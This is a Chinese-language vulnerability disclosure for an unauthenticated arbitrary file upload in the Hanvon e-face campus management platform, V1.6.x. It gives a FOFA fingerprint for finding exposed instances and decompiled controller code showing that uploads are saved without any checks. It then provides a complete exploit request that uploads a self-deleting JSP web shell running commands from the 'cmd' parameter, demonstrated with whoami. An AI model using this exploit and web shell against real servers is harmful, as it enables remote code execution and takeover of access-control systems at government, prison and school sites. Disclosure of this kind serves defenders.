漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 meetingPersonal/uploadMeetingFile.do 接口存在任意文件上传漏洞。攻击者可在无需认证的情况下,通过向该接口上传恶意文件,实现任意文件上传,进而可能导致远程代码执行或服务器被控制,严重威胁系统安全。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
看下 MeetingPersonalController 的关于 uploadMeetingFile.do 的实现
@ResponseBody
@RequestMapping(value = {"uploadMeetingFile.do"}, method = {RequestMethod.POST})
public RequestJson uploadMeetingFile(HttpServletRequest request, HttpServletResponse response) {
RequestJson result = new RequestJson();
try {
String fileName = null, fileType = null;
if (!ServletFileUpload.isMultipartContent(request)) {
result = RequestJson.failuerResult(result, getMessage("system_blacklist_network_error"));
return result;
}
SessionalUser su = getSessionUser();
Locale newLocale = TheApp.getLocale(su.getLanguageLocal());
UserHandlerInterceptor.setLocale(request, response, newLocale);
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
String uploadPath = null;
for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
MultipartFile mf = entity.getValue();
if (!mf.isEmpty()) {
String fileTypeStr = mf.getOriginalFilename();
String fileId = UUID.randomUUID().toString().replace("-", "");
fileName = fileTypeStr.split("\\.")[0];
fileType = fileTypeStr.split("\\.")[1];
String path = request.getSession().getServletContext().getRealPath("/resource");
File tmpFile = new File(path);
if (!tmpFile.exists())
tmpFile.mkdir();
uploadPath = path + "/" + fileId + "." + fileType;
File targetFile = new File(uploadPath);
logger.error("文件存储地址测试" + uploadPath);
Files.copy(mf
.getInputStream(), targetFile
.toPath(), new CopyOption[] { StandardCopyOption.REPLACE_EXISTING });
uploadPath = fileId + "." + fileType;
fileName = fileName + "." + fileType;
}
}
直接保存文件到 resource 目录,全程无过滤和校验,造成任意文件上传漏洞。
漏洞复现
POST /manage/meetingPersonal/uploadMeetingFile.do?recoToken=67mds2pxXQb&type= HTTP/1.1
Host: hanvon.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
访问文件执行命令 /manage/resource/xxxxx.jsp?cmd=whoami

成功得到 whoami 命令执行结果


